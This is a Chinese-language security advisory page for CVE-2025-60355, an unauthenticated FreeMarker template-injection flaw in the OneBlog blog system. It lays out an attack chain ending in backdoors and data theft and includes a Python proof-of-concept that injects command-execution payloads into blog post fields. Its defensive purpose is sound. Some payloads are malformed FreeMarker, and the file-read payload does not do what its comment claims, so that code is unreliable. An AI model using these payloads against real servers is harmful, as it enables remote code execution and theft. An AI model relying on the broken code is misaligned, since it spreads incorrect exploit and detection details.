IPBUF安全漏洞报告
English
CVE-2025-60355 CVSS 9.8 严重

CVE-2025-60355 zhangyd-c OneBlog FreeMarker模板注入漏洞

披露日期: 2025-10-28

漏洞信息

漏洞编号
CVE-2025-60355
漏洞类型
服务器端模板注入(SSTI)
CVSS评分
9.8 严重
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
zhangyd-c OneBlog

相关标签

服务器端模板注入SSTIFreeMarkerRCE远程代码执行zhangyd-c OneBlogCVE-2025-60355无需认证高危漏洞

漏洞概述

CVE-2025-60355是zhangyd-c开源博客系统OneBlog的一个高危安全漏洞。该漏洞存在于v2.3.9及之前版本中,由于系统在使用FreeMarker模板引擎时未对用户输入进行充分的过滤和验证,导致攻击者可以通过构造恶意的FreeMarker模板表达式实现服务器端模板注入(SSTI)攻击。攻击者无需任何认证即可利用此漏洞,在服务器端执行任意代码,最终可能导致服务器完全沦陷、敏感数据泄露、业务系统被篡改等严重后果。由于CVSS评分高达9.8分,该漏洞被评定为严重级别,对互联网公开部署的OneBlog系统构成重大威胁。

技术细节

该漏洞的核心在于FreeMarker模板引擎的滥用。FreeMarker是一款功能强大的Java模板引擎,支持在模板中使用插值表达式(如${expression})、指令(如<#if>、<#list>)以及内建方法。攻击者通过在用户可控的输入字段中注入FreeMarker表达式,可以实现:1) 读取服务器文件系统上的任意文件,包括配置文件、源代码、密钥文件等敏感信息;2) 执行任意Java代码或系统命令,例如通过${''.class.forName('java.lang.Runtime').getRuntime().exec('command')}方式执行系统命令;3) 探测内网环境,进行横向移动。由于该漏洞无需认证即可利用,且影响的是服务端模板解析逻辑,因此攻击者可以在短时间内完成从漏洞发现到服务器完全控制的攻击过程。

攻击链分析

STEP 1
步骤1
扫描识别目标网站使用的OneBlog版本,确认版本号<=2.3.9
STEP 2
步骤2
寻找可利用的用户输入点,如文章内容、评论、用户资料等字段
STEP 3
步骤3
构造FreeMarker SSTI payload注入到目标输入字段
STEP 4
步骤4
触发模板解析,如访问包含恶意payload的文章页面
STEP 5
步骤5
利用FreeMarker的反射机制执行任意Java代码或系统命令
STEP 6
步骤6
建立持久化后门,窃取敏感数据或进一步横向渗透

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2025-60355 FreeMarker SSTI PoC # Target: zhangyd-c OneBlog <= v2.3.9 import requests import sys TARGET_URL = "http://target.com" # Replace with actual target URL # SSTI payload to execute system command # Read /etc/passwd file read_file_payload = "${.getClass().forName('java.io.BufferedReader').newInstance().readLines()}" # Execute system command # Modify the command as needed cmd_exec_payload = "${.getClass().forName('java.lang.Runtime').getRuntime().exec('id')}" # Basic PoC - Check if template engine is processing expressions basic_payload = "${7*7}" def test_ssti(url, payload): """Test for SSTI vulnerability""" headers = { 'Content-Type': 'application/x-www-form-urlencoded', 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64)' } # Common injection points in blog systems # Modify the data dict based on actual application parameters data = { 'content': payload, # Blog post content 'title': payload, # Blog post title 'author': payload, # Author name } try: response = requests.post(url, data=data, headers=headers, timeout=10, verify=False) print(f"[*] Payload sent: {payload}") print(f"[*] Response status: {response.status_code}") print(f"[*] Response length: {len(response.text)}") return response.text except requests.exceptions.RequestException as e: print(f"[!] Request failed: {e}") return None def main(): if len(sys.argv) > 1: target = sys.argv[1] else: target = TARGET_URL print(f"[*] Testing CVE-2025-60355 on {target}") print("[*] Testing basic SSTI...") test_ssti(f"{target}/article/save", basic_payload) print("[*] Testing command execution...") test_ssti(f"{target}/article/save", cmd_exec_payload) print("[*] Testing file read...") test_ssti(f"{target}/article/save", read_file_payload) if __name__ == "__main__": main()

影响范围

zhangyd-c OneBlog <= 2.3.9

防御指南

临时缓解措施
如果无法立即升级,可采取以下临时措施:1) 使用WAF拦截包含FreeMarker特征字符的请求,如${、<#、.class、forName等;2) 对所有模板渲染相关的输入参数进行严格的白名单过滤;3) 临时禁用FreeMarker模板的用户可控输入点;4) 加强服务器监控,及时发现异常命令执行行为;5) 限制Web服务的网络访问权限,减小攻击面。建议尽快升级到官方发布的安全版本。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表